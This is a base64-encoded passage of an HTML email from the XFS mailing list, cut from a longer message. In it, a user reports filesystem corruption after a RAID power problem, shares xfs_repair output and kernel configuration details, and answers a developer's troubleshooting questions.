ZT0iMyIgY29sb3I9IiMwMDAwRkYiIGZhY2U9InNlcmlmIj48dT4xNjkzODM2MzwvdT48L2ZvbnQ+ PC9hPjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlmIj4sIHdvdWxkIHJlc2V0IHRvIDI0MDwvZm9u dD48YnI+DQo8Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+YmFkIG5ibG9ja3MgMjg5IGZvciBp bm9kZSA8L2ZvbnQ+PGEgaHJlZj0idGVsOjE2OTQwNDAwIj48Zm9udCBzaXplPSIzIiBjb2xvcj0i IzAwMDBGRiIgZmFjZT0ic2VyaWYiPjx1PjE2OTQwNDAwPC91PjwvZm9udD48L2E+PGZvbnQgc2l6 ZT0iMyIgZmFjZT0ic2VyaWYiPiwgd291bGQgcmVzZXQgdG8gMjU3PC9mb250Pjxicj4NCjxmb250 IHNpemU9IjMiIGZhY2U9InNlcmlmIj5iYWQgbmV4dGVudHMgMzIgZm9yIGlub2RlIDwvZm9udD48 YSBocmVmPSJ0ZWw6MTY5NDA0MDAiPjxmb250IHNpemU9IjMiIGNvbG9yPSIjMDAwMEZGIiBmYWNl PSJzZXJpZiI+PHU+MTY5NDA0MDA8L3U+PC9mb250PjwvYT48Zm9udCBzaXplPSIzIiBmYWNlPSJz ZXJpZiI+LCB3b3VsZCByZXNldCB0byAzMTwvZm9udD48YnI+DQo8Zm9udCBzaXplPSIzIiBmYWNl PSJzZXJpZiI+YmFkIG5ibG9ja3MgMTA2IGZvciBpbm9kZSA8L2ZvbnQ+PGEgaHJlZj0idGVsOjE2 OTQyMTIyIj48Zm9udCBzaXplPSIzIiBjb2xvcj0iIzAwMDBGRiIgZmFjZT0ic2VyaWYiPjx1PjE2 OTQyMTIyPC91PjwvZm9udD48L2E+PGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYiPiwgd291bGQg cmVzZXQgdG8gMTEzPC9mb250Pjxicj4NCjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlmIj5iYWQg bmJsb2NrcyAxMDUzIGZvciBpbm9kZSA8L2ZvbnQ+PGEgaHJlZj0idGVsOjE2OTQ2NDA1Ij48Zm9u dCBzaXplPSIzIiBjb2xvcj0iIzAwMDBGRiIgZmFjZT0ic2VyaWYiPjx1PjE2OTQ2NDA1PC91Pjwv Zm9udD48L2E+PGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYiPiwgd291bGQgcmVzZXQgdG8gMTA1 NzwvZm9udD48YnI+DQo8Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+YmFkIG5ibG9ja3MgNjgx IGZvciBpbm9kZSA8L2ZvbnQ+PGEgaHJlZj0idGVsOjE2OTQ4Nzc2Ij48Zm9udCBzaXplPSIzIiBj b2xvcj0iIzAwMDBGRiIgZmFjZT0ic2VyaWYiPjx1PjE2OTQ4Nzc2PC91PjwvZm9udD48L2E+PGZv bnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYiPiwgd291bGQgcmVzZXQgdG8gNjg5PC9mb250Pjxicj4N Cjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlmIj5iYWQgbmJsb2NrcyA1NjIgZm9yIGlub2RlIDwv Zm9udD48YSBocmVmPSJ0ZWw6MTY5NDkwMTEiPjxmb250IHNpemU9IjMiIGNvbG9yPSIjMDAwMEZG IiBmYWNlPSJzZXJpZiI+PHU+MTY5NDkwMTE8L3U+PC9mb250PjwvYT48Zm9udCBzaXplPSIzIiBm YWNlPSJzZXJpZiI+LCB3b3VsZCByZXNldCB0byA1NjE8L2ZvbnQ+PGJyPg0KPGZvbnQgc2l6ZT0i MyIgZmFjZT0ic2VyaWYiPmJhZCBuZXh0ZW50cyAyMDAgZm9yIGlub2RlIDwvZm9udD48YSBocmVm PSJ0ZWw6MTY5NDkwMTEiPjxmb250IHNpemU9IjMiIGNvbG9yPSIjMDAwMEZGIiBmYWNlPSJzZXJp ZiI+PHU+MTY5NDkwMTE8L3U+PC9mb250PjwvYT48Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+ LCB3b3VsZCByZXNldCB0byAxOTk8L2ZvbnQ+PGJyPg0KPGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2Vy aWYiPmJhZCBuYmxvY2tzIDE0MiBmb3IgaW5vZGUgPC9mb250PjxhIGhyZWY9InRlbDoxNjk1NzI5 NiI+PGZvbnQgc2l6ZT0iMyIgY29sb3I9IiMwMDAwRkYiIGZhY2U9InNlcmlmIj48dT4xNjk1NzI5 NjwvdT48L2ZvbnQ+PC9hPjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlmIj4sIHdvdWxkIHJlc2V0 IHRvIDE0NTwvZm9udD48YnI+DQo8Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+YmFkIG5ibG9j a3MgNTEgZm9yIGlub2RlIDwvZm9udD48YSBocmVmPSJ0ZWw6MTY5NjAzNjIiPjxmb250IHNpemU9 IjMiIGNvbG9yPSIjMDAwMEZGIiBmYWNlPSJzZXJpZiI+PHU+MTY5NjAzNjI8L3U+PC9mb250Pjwv YT48Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+LCB3b3VsZCByZXNldCB0byA2NTwvZm9udD48 YnI+DQo8Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+YmFkIG5ibG9ja3MgODk4IGZvciBpbm9k ZSA8L2ZvbnQ+PGEgaHJlZj0idGVsOjE2OTY3MDcyIj48Zm9udCBzaXplPSIzIiBjb2xvcj0iIzAw MDBGRiIgZmFjZT0ic2VyaWYiPjx1PjE2OTY3MDcyPC91PjwvZm9udD48L2E+PGZvbnQgc2l6ZT0i MyIgZmFjZT0ic2VyaWYiPiwgd291bGQgcmVzZXQgdG8gOTEzPC9mb250Pjxicj4NCjxmb250IHNp emU9IjMiIGZhY2U9InNlcmlmIj5iYWQgbmJsb2NrcyAzNTQgZm9yIGlub2RlIDwvZm9udD48YSBo cmVmPSJ0ZWw6MTY5NzI1MTMiPjxmb250IHNpemU9IjMiIGNvbG9yPSIjMDAwMEZGIiBmYWNlPSJz ZXJpZiI+PHU+MTY5NzI1MTM8L3U+PC9mb250PjwvYT48Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJp ZiI+LCB3b3VsZCByZXNldCB0byAzNjk8L2ZvbnQ+PGJyPg0KPGZvbnQgc2l6ZT0iMyIgZmFjZT0i c2VyaWYiPmJhZCBuYmxvY2tzIDUwOCBmb3IgaW5vZGUgPC9mb250PjxhIGhyZWY9InRlbDoxNjk4 MTAyMyI+PGZvbnQgc2l6ZT0iMyIgY29sb3I9IiMwMDAwRkYiIGZhY2U9InNlcmlmIj48dT4xNjk4 MTAyMzwvdT48L2ZvbnQ+PC9hPjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlmIj4sIHdvdWxkIHJl c2V0IHRvIDUxMzwvZm9udD48YnI+DQo8Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+YmFkIG5i bG9ja3MgMjE2IGZvciBpbm9kZSA8L2ZvbnQ+PGEgaHJlZj0idGVsOjE2OTgzMjcxIj48Zm9udCBz aXplPSIzIiBjb2xvcj0iIzAwMDBGRiIgZmFjZT0ic2VyaWYiPjx1PjE2OTgzMjcxPC91PjwvZm9u dD48L2E+PGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYiPiwgd291bGQgcmVzZXQgdG8gMjI1PC9m b250Pjxicj4NCjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlmIj5iYWQgbmJsb2NrcyA4MyBmb3Ig aW5vZGUgPC9mb250PjxhIGhyZWY9InRlbDoxNjk4MzI4MCI+PGZvbnQgc2l6ZT0iMyIgY29sb3I9 IiMwMDAwRkYiIGZhY2U9InNlcmlmIj48dT4xNjk4MzI4MDwvdT48L2ZvbnQ+PC9hPjxmb250IHNp emU9IjMiIGZhY2U9InNlcmlmIj4sIHdvdWxkIHJlc2V0IHRvIDk3PC9mb250Pjxicj4NCjxmb250 IHNpemU9IjMiIGZhY2U9InNlcmlmIj5iYWQgbmJsb2NrcyA0MjIgZm9yIGlub2RlIDwvZm9udD48 YSBocmVmPSJ0ZWw6MTY5ODcwNDkiPjxmb250IHNpemU9IjMiIGNvbG9yPSIjMDAwMEZGIiBmYWNl PSJzZXJpZiI+PHU+MTY5ODcwNDk8L3U+PC9mb250PjwvYT48Zm9udCBzaXplPSIzIiBmYWNlPSJz ZXJpZiI+LCB3b3VsZCByZXNldCB0byA0MzM8L2ZvbnQ+PGJyPg0KPGZvbnQgc2l6ZT0iMyIgZmFj ZT0ic2VyaWYiPmJhZCBuYmxvY2tzIDEwNTYgZm9yIGlub2RlIDwvZm9udD48YSBocmVmPSJ0ZWw6 MTY5OTAzMDYiPjxmb250IHNpemU9IjMiIGNvbG9yPSIjMDAwMEZGIiBmYWNlPSJzZXJpZiI+PHU+ MTY5OTAzMDY8L3U+PC9mb250PjwvYT48Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+LCB3b3Vs ZCByZXNldCB0byAxMDU4PC9mb250Pjxicj4NCjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlmIj5i YWQgbmJsb2NrcyAxODAgZm9yIGlub2RlIDwvZm9udD48YSBocmVmPSJ0ZWw6MTY5OTI2ODciPjxm b250IHNpemU9IjMiIGNvbG9yPSIjMDAwMEZGIiBmYWNlPSJzZXJpZiI+PHU+MTY5OTI2ODc8L3U+ PC9mb250PjwvYT48Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+LCB3b3VsZCByZXNldCB0byAx OTM8L2ZvbnQ+PGJyPg0KPGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYiPmJhZCBuYmxvY2tzIDM5 IGZvciBpbm9kZSA8L2ZvbnQ+PGEgaHJlZj0idGVsOjE2OTk1MjM5Ij48Zm9udCBzaXplPSIzIiBj b2xvcj0iIzAwMDBGRiIgZmFjZT0ic2VyaWYiPjx1PjE2OTk1MjM5PC91PjwvZm9udD48L2E+PGZv bnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYiPiwgd291bGQgcmVzZXQgdG8gNDk8L2ZvbnQ+PGJyPg0K PGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYiPmJhZCBuYmxvY2tzIDMwODUgZm9yIGlub2RlIDwv Zm9udD48YSBocmVmPSJ0ZWw6MTY5OTczNDQiPjxmb250IHNpemU9IjMiIGNvbG9yPSIjMDAwMEZG IiBmYWNlPSJzZXJpZiI+PHU+MTY5OTczNDQ8L3U+PC9mb250PjwvYT48Zm9udCBzaXplPSIzIiBm YWNlPSJzZXJpZiI+LCB3b3VsZCByZXNldCB0byAzMDkxPC9mb250Pjxicj4NCjxmb250IHNpemU9 IjMiIGZhY2U9InNlcmlmIj5iYWQgbmJsb2NrcyAzOTAgZm9yIGlub2RlIDwvZm9udD48YSBocmVm PSJ0ZWw6MTcwMDA2NDAiPjxmb250IHNpemU9IjMiIGNvbG9yPSIjMDAwMEZGIiBmYWNlPSJzZXJp ZiI+PHU+MTcwMDA2NDA8L3U+PC9mb250PjwvYT48Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+ LCB3b3VsZCByZXNldCB0byA0MDE8L2ZvbnQ+PGJyPg0KPGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2Vy aWYiPmJhZCBuYmxvY2tzIDEzNDUgZm9yIGlub2RlIDwvZm9udD48YSBocmVmPSJ0ZWw6MTcwMDQ4 MjQiPjxmb250IHNpemU9IjMiIGNvbG9yPSIjMDAwMEZGIiBmYWNlPSJzZXJpZiI+PHU+MTcwMDQ4 MjQ8L3U+PC9mb250PjwvYT48Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+LCB3b3VsZCByZXNl dCB0byAxMzQ2PC9mb250Pjxicj4NCjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlmIj5iYWQgbmJs b2NrcyAyMSBmb3IgaW5vZGUgPC9mb250PjxhIGhyZWY9InRlbDoxNzAwNTYyMSI+PGZvbnQgc2l6 ZT0iMyIgY29sb3I9IiMwMDAwRkYiIGZhY2U9InNlcmlmIj48dT4xNzAwNTYyMTwvdT48L2ZvbnQ+ PC9hPjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlmIj4sIHdvdWxkIHJlc2V0IHRvIDMzPC9mb250 Pjxicj4NCjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlmIj5iYWQgbmJsb2NrcyAyMzIwIGZvciBp bm9kZSA8L2ZvbnQ+PGEgaHJlZj0idGVsOjE3MDE5MTExIj48Zm9udCBzaXplPSIzIiBjb2xvcj0i IzAwMDBGRiIgZmFjZT0ic2VyaWYiPjx1PjE3MDE5MTExPC91PjwvZm9udD48L2E+PGZvbnQgc2l6 ZT0iMyIgZmFjZT0ic2VyaWYiPiwgd291bGQgcmVzZXQgdG8gMjMyMzwvZm9udD48YnI+DQo8Zm9u dCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+Tm8gbW9kaWZ5IGZsYWcgc2V0LCBza2lwcGluZyBwaGFz ZSA1PC9mb250Pjxicj4NCjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlmIj5QaGFzZSA2IC0gY2hl Y2sgaW5vZGUgY29ubmVjdGl2aXR5Li4uPC9mb250Pjxicj4NCjxmb250IHNpemU9IjMiIGZhY2U9 InNlcmlmIj4mbmJzcDsgJm5ic3A7ICZuYnNwOyAmbmJzcDstIHRyYXZlcnNpbmcgZmlsZXN5c3Rl bSAuLi48L2ZvbnQ+PGJyPg0KPGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYiPmVudHJ5ICZxdW90 OzEwLjYuMTE0LjE0OCZxdW90OyBpbiBkaXJlY3RvcnkgaW5vZGUgMTkxMjUgcG9pbnRzIHRvIGZy ZWUgaW5vZGUgPC9mb250PjxhIGhyZWY9InRlbDoxNjkyNzcyMSI+PGZvbnQgc2l6ZT0iMyIgY29s b3I9IiMwMDAwRkYiIGZhY2U9InNlcmlmIj48dT4xNjkyNzcyMTwvdT48L2ZvbnQ+PC9hPjxmb250 IHNpemU9IjMiIGZhY2U9InNlcmlmIj4sIHdvdWxkIGp1bmsgZW50cnk8L2ZvbnQ+PGJyPg0KPGZv bnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYiPiZuYnNwOyAmbmJzcDsgJm5ic3A7ICZuYnNwOy0gdHJh dmVyc2FsIGZpbmlzaGVkIC4uLjwvZm9udD48YnI+DQo8Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJp ZiI+Jm5ic3A7ICZuYnNwOyAmbmJzcDsgJm5ic3A7LSBtb3ZpbmcgZGlzY29ubmVjdGVkIGlub2Rl cyB0byBsb3N0K2ZvdW5kIC4uLjwvZm9udD48YnI+DQo8Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJp ZiI+UGhhc2UgNyAtIHZlcmlmeSBsaW5rIGNvdW50cy4uLjwvZm9udD48YnI+DQo8Zm9udCBzaXpl PSIzIiBmYWNlPSJzZXJpZiI+Tm8gbW9kaWZ5IGZsYWcgc2V0LCBza2lwcGluZyBmaWxlc3lzdGVt IGZsdXNoIGFuZCBleGl0aW5nLjwvZm9udD48YnI+DQo8YnI+DQo8Zm9udCBzaXplPSIzIiBmYWNl PSJzZXJpZiI+eGZzcHJvZ3MgdXRpbCYjODIxNztzIHdvcmtzIGZpbmUgd2l0aCBrZXJuZWwgMy43 LjEwIChjb25maWcga2VybmVsIHBhcmFtcyBsaXN0IGJlbG93KTo8L2ZvbnQ+PGJyPg0KPGZvbnQg c2l6ZT0iMyIgZmFjZT0ic2VyaWYiPi91c3Ivc3JjL2xpbnV4LTMuNy4xMC1nZW50b28vLmNvbmZp ZzwvZm9udD48YnI+DQo8Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+Q09ORklHX1hGU19GUz15 PC9mb250Pjxicj4NCjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlmIj5DT05GSUdfWEZTX1FVT1RB PXk8L2ZvbnQ+PGJyPg0KPGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYiPkNPTkZJR19YRlNfUE9T SVhfQUNMPXk8L2ZvbnQ+PGJyPg0KPGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYiPkNPTkZJR19Y RlNfUlQ9eTwvZm9udD48YnI+DQo8Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+IyBDT05GSUdf WEZTX0RFQlVHIGlzIG5vdCBzZXQ8L2ZvbnQ+PGJyPg0KPGJyPg0KPGZvbnQgc2l6ZT0iMyIgZmFj ZT0ic2VyaWYiPnhmc3Byb2dzIHV0aWwmIzgyMTc7cyBoYW5ncyBpbiBzdGFydCB3aXRoIGtlcm5l bCAzLjEwLjI1IChjb25maWcga2VybmVsIHBhcmFtcyBsaXN0IGJlbG93KTogPC9mb250Pjxicj4N Cjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlmIj4vdXNyL3NyYy9saW51eC0zLjEwLjI1LWdlbnRv by8uY29uZmlnPC9mb250Pjxicj4NCjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlmIj5DT05GSUdf WEZTX0ZTPXk8L2ZvbnQ+PGJyPg0KPGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYiPkNPTkZJR19Y RlNfUVVPVEE9eTwvZm9udD48YnI+DQo8Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+Q09ORklH X1hGU19QT1NJWF9BQ0w9eTwvZm9udD48YnI+DQo8Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+ Q09ORklHX1hGU19SVD15PC9mb250Pjxicj4NCjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlmIj5D T05GSUdfWEZTX0RFQlVHPXk8L2ZvbnQ+PGJyPg0KPGJyPg0KPGZvbnQgc2l6ZT0iMyIgZmFjZT0i c2VyaWYiPk91dHB1dCBvZiBsb2cgcHJpbnQgY29tbWFuZCBJJiM4MjE3O2FtIHVwbG9hZCBpbiB3 ZWItc2l0ZTo8L2ZvbnQ+PGJyPg0KPGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYiPnhmc19sb2dw cmludCAtZCAtQyAuL3hmc19sb2cuZHVtcDwvZm9udD48YnI+DQo8YSBocmVmPSJodHRwOi8veWFk aS5zay9kL0p4di1JdFJTR3Q4dk4iPjxmb250IHNpemU9IjMiIGNvbG9yPSIjMDAwMEZGIiBmYWNl PSJzZXJpZiI+PHU+aHR0cDovL3lhZGkuc2svZC9KeHYtSXRSU0d0OHZOPC91PjwvZm9udD48L2E+ PGJyPg0KPGJyPg0KPGJyPg0KDQo8cD48Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+PGJyPg0K MjguMDEuMjAxNCwg1yA4OjQ2LCAmcXVvdDtEbWl0cml5IFl1IExlb25vdiZxdW90OyAmbHQ7PC9m b250PjxhIGhyZWY9Im1haWx0bzpETGVvbm92QGJlZWxpbmUucnUiPjxmb250IHNpemU9IjMiIGNv bG9yPSIjMDAwMEZGIiBmYWNlPSJzZXJpZiI+PHU+RExlb25vdkBiZWVsaW5lLnJ1PC91PjwvZm9u dD48L2E+PGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYiPiZndDsgzsHQydPBzCjBKTo8YnI+DQo8 L2ZvbnQ+DQo8dWwgc3R5bGU9InBhZGRpbmctbGVmdDogMzZwdCI+PHR0Pjxmb250IHNpemU9IjMi Pkdvb2QgbW9ybmluZywgRGF2ZS48L2ZvbnQ+PC90dD48Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJp ZiI+PGJyPg0KPC9mb250Pjx0dD48Zm9udCBzaXplPSIzIj48YnI+DQpUaGFuayB5b3UgZm9yIHlv dXIgcmVzcG9uc2UgdG8gbXkgbWVzc2FnZS48L2ZvbnQ+PC90dD48Zm9udCBzaXplPSIzIiBmYWNl PSJzZXJpZiI+PGJyPg0KPC9mb250Pjx0dD48Zm9udCBzaXplPSIzIj48YnI+DQpROiBTbyBzb21l dGhpbmcgd2VudCB3cm9uZyB3aXRoIHRoZSBIVyBSQUlELCBhbmQgdGhlbiB5b3UgZm91bmQgZXJy b3JzIGluIHRoZSBmaWxlc3lzdGVtPzxicj4NCkE6IFllcy4gUHJlc3VtYWJseSBvbiB0aGUgc2Vy dmVyIHdlcmUgcHJvYmxlbXMgd2l0aCB0aGUgcG93ZXIgc3VwcGx5LiBJbiB0aGUgSFcgUkFJRCBi YXR0ZXJ5IGJhY2t1cCBpbnN0YWxsZWQuIEJ1dCB3aGVuIHRoZSBzZXJ2ZXIgdHVybiBvZmYvb24g ZXJyb3JzIG9jY3VycmVkIHRoYXQgbGVkIHRvIHRoZSBjdXJyZW50IHNpdHVhdGlvbi4gVGhlIGN1 cnJlbnQgc3RhdHVzIG9mIHRoZSBIVyBSQUlELWNvbnRyb2xsZXIgc3RhYmxlLiB0aGVyZSBhcmUg bm8gZXJyb3JzLjwvZm9udD48L3R0Pjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlmIj48YnI+DQo8 L2ZvbnQ+PHR0Pjxmb250IHNpemU9IjMiPjxicj4NClE6IEl0IGZhaWxlZCB0byBtb3VudCB3aXRo IHRoZSBzdGFjayB0cmFjZSB0aGF0IHlvdSBhdHRhY2hlZD8gSWYgc28sIHRoZXJlJ3MgYSBjb3Jy dXB0IGZyZWVzcGFjZSB0cmVlIGluIHRoZSBmaWxlc3lzdGVtLjxicj4NCkE6IFllcy4gVGhlIGF0 dGFjaGVkIHN0YWNrIHRyYWNlIGlzIHJlY2VpdmVkIGFmdGVyIHRoZSBpbmNpZGVudC4gSSB3YXRj aGVkIHRoZSBzb3VyY2UgY29kZSBmaWxlIHRoYXQgaXMgcmVmZXJlbmNlZCB0cmFjZSwgYnV0LCB1 bmZvcnR1bmF0ZWx5LCBjb3VsZCBub3QgZmlndXJlIG91dCBob3cgdG8gZml4IHRoZSBwcm9ibGVt LiBJcyB0aGVyZSBhIHBvc3NpYmlsaXR5IHRvIGZpeCB0aGUgcHJvYmxlbSB3aXRoIGEgY29ycnVw dCBmcmVlc3BhY2UgdHJlZSBpbiB0aGUgZmlsZXN5c3RlbT88L2ZvbnQ+PC90dD48Zm9udCBzaXpl PSIzIiBmYWNlPSJzZXJpZiI+PGJyPg0KPC9mb250Pjx0dD48Zm9udCBzaXplPSIzIj48YnI+DQpR OiBGaXJzdCBvZiBhbGwsIEknZCBzdWdnZXN0IHVwZGF0aW5nIHRvIGF0IGxlYXN0IHZlcnNpb24g My4xLjExIG9mIHhmc3Byb2dzLiBJZiBpdCBzdGlsbCBoYW5ncywgdGhlbiBpdCdzIHF1aXRlIGxp a2VseSB0aGVyZSBzb21ldGhpbmcgc3RpbGwgd3Jvbmcgd2l0aCB5b3VyIEhXIFJBSUQuIFlvdXIg Zmlyc3Qgc3RlcCBpcyB0byBtYWtlIHN1cmUgeW91ciBIVyBSQUlEIGlzIGhlYWx0aHkgYmVmb3Jl IHRyeWluZyB0byByZXBhaXIgb3IgbW91bnQgdGhlIGZpbGVzeXN0ZW0uLi4uPGJyPg0KQTogSSB3 aWxsIHRyeSB0byBmb2xsb3cgWW91ciByZWNvbW1lbmRhdGlvbnMuIFNlcnZlciBpcyBydW5uaW5n IG9uIGEgR2VudG9vIHN5c3RlbS4gQ3VycmVudCBzdGFibGUgdmVyc2lvbiBvZiB4ZnNwcm9ncyBp biBnZW50b28gcG9ydGFnZSBpcyAzLjEuMTAsIDMuMS4xMS1yMSBpcyB1bnN0YWJsZS4gQnV0IEkg d2lsbCBpbnN0YWxsIHRoZSBsYXN0IHRvIGNoZWNrLiBBY2NvcmRpbmcgdG8gdGhlIHJlc3VsdHMg b2Ygd3JpdGUuIEFsc28gSSdtIGF0dGFjaCB0byB0aGUgbWVzc2FnZSBmaWxlIHdpdGggYSBkaWFn bm9zaXMgSFcgUkFJRCBjb250cm9sbGVyLiBUaGUgY3VycmVudCBzdGF0dXMgb2YgdGhlIGNvbnRy b2xsZXIgaXMgc3RhYmxlLjwvZm9udD48L3R0Pjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlmIj48 YnI+DQo8L2ZvbnQ+PHR0Pjxmb250IHNpemU9IjMiPjxicj4NCkkgaG9wZSBmb3IgWW91ciBoZWxw IGluIHNvbHZpbmcgdGhlIHByb2JsZW0uPC9mb250PjwvdHQ+PGZvbnQgc2l6ZT0iMyIgZmFjZT0i c2VyaWYiPjxicj4NCjwvZm9udD48dHQ+PGZvbnQgc2l6ZT0iMyI+PGJyPg0KLS08YnI+DQogJm5i c3A7RG1pdHJ5IExlb25vdi48L2ZvbnQ+PC90dD48Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+ PGJyPg0KPC9mb250Pjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlmIj48aT48YnI+DQooU2VlIGF0 dGFjaGVkIGZpbGU6IFJlcG9ydF9SQUlEX3N0YXR1c18yMDE0MDEyOC50eHQpPC9pPjwvZm9udD48 Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+PGJyPg0KPC9mb250Pjxicj4NCjxmb250IHNpemU9 IjMiIGNvbG9yPSIjNDI0MjgyIiBmYWNlPSJzZXJpZiI+RGF2ZSBDaGlubmVyIC0tLTI4LjAxLjIw MTQgMDM6MTQ6MTctLS1PbiBNb24sIEphbiAyNywgMjAxNCBhdCAxMToxMjoxNUFNICswNDAwLCBE bWl0cml5IFl1IExlb25vdiB3cm90ZTogJmd0OzwvZm9udD48YnI+DQo8Zm9udCBzaXplPSIzIiBm YWNlPSJzZXJpZiI+PGJyPg0KPC9mb250Pjxmb250IHNpemU9IjIiIGNvbG9yPSIjNUY1RjVGIiBm YWNlPSJzZXJpZiI+PGJyPg0K79Q6IDwvZm9udD48Zm9udCBzaXplPSIyIiBmYWNlPSJzZXJpZiI+ RGF2ZSBDaGlubmVyICZsdDs8L2ZvbnQ+PGEgaHJlZj0ibWFpbHRvOmRhdmlkQGZyb21vcmJpdC5j b20iPjxmb250IHNpemU9IjIiIGNvbG9yPSIjMDAwMEZGIiBmYWNlPSJzZXJpZiI+PHU+ZGF2aWRA ZnJvbW9yYml0LmNvbTwvdT48L2ZvbnQ+PC9hPjxmb250IHNpemU9IjIiIGZhY2U9InNlcmlmIj4m Z3Q7PC9mb250Pjxmb250IHNpemU9IjIiIGNvbG9yPSIjNUY1RjVGIiBmYWNlPSJzZXJpZiI+PGJy Pg0K68/N1TogPC9mb250Pjxmb250IHNpemU9IjIiIGZhY2U9InNlcmlmIj5EbWl0cml5IFl1IExl b25vdiAmbHQ7PC9mb250PjxhIGhyZWY9Im1haWx0bzpETGVvbm92QGJlZWxpbmUucnUiPjxmb250 IHNpemU9IjIiIGNvbG9yPSIjMDAwMEZGIiBmYWNlPSJzZXJpZiI+PHU+RExlb25vdkBiZWVsaW5l LnJ1PC91PjwvZm9udD48L2E+PGZvbnQgc2l6ZT0iMiIgZmFjZT0ic2VyaWYiPiZndDssIDwvZm9u dD48Zm9udCBzaXplPSIyIiBjb2xvcj0iIzVGNUY1RiIgZmFjZT0ic2VyaWYiPjxicj4NCuvP0MnR OiA8L2ZvbnQ+PGEgaHJlZj0ibWFpbHRvOnhmc0Bvc3Muc2dpLmNvbSI+PGZvbnQgc2l6ZT0iMiIg Y29sb3I9IiMwMDAwRkYiIGZhY2U9InNlcmlmIj48dT54ZnNAb3NzLnNnaS5jb208L3U+PC9mb250 PjwvYT48Zm9udCBzaXplPSIyIiBjb2xvcj0iIzVGNUY1RiIgZmFjZT0ic2VyaWYiPjxicj4NCuTB 1ME6IDwvZm9udD48Zm9udCBzaXplPSIyIiBmYWNlPSJzZXJpZiI+MjguMDEuMjAxNCAwMzoxNDwv Zm9udD48Zm9udCBzaXplPSIyIiBjb2xvcj0iIzVGNUY1RiIgZmFjZT0ic2VyaWYiPjxicj4NCvTF zcE6IDwvZm9udD48Zm9udCBzaXplPSIyIiBmYWNlPSJzZXJpZiI+UmU6IFhGUzogQXNzZXJ0aW9u IGZhaWxlZDogZnNfaXNfb2ssIGZpbGU6IGZzL3hmcy94ZnNfYWxsb2MuYywgbGluZTogMTU5MDwv Zm9udD48Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+PGJyPg0KPC9mb250PjxociB3aWR0aD0i MTAwJSIgc2l6ZT0iMiIgYWxpZ249ImxlZnQiIG5vc2hhZGUgc3R5bGU9ImNvbG9yOiMwMDAwMDA7 ICI+PGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYiPjxicj4NCjxicj4NCjwvZm9udD48dHQ+PGZv bnQgc2l6ZT0iMyI+PGJyPg0KT24gTW9uLCBKYW4gMjcsIDIwMTQgYXQgMTE6MTI6MTVBTSArMDQw MCwgRG1pdHJpeSBZdSBMZW9ub3Ygd3JvdGU6PGJyPg0KJmd0OyA8YnI+DQomZ3Q7IEhlbGxvLCBk ZWFyIGRldmVsb3BlcnM8YnI+DQomZ3Q7IDxicj4NCiZndDsgRmFjZWQgJm5ic3A7d2l0aCAmbmJz cDt0aGUgJm5ic3A7cHJvYmxlbSBvZiB1c2luZyBYRlMuIEknbSB1c2UgdGhlIFhGUyBmaWxlIHN5 c3RlbSBvbjxicj4NCiZndDsgdGhlICZuYnNwO3NlcnZlciB3aXRob3V0IHByb2JsZW1zIHRocmVl IHllYXJzLiBSZWNlbnRseSBkaXNjb3ZlcmVkIHRoYXQgdGhlPGJyPg0KJmd0OyBkaXNrIChyYWlk 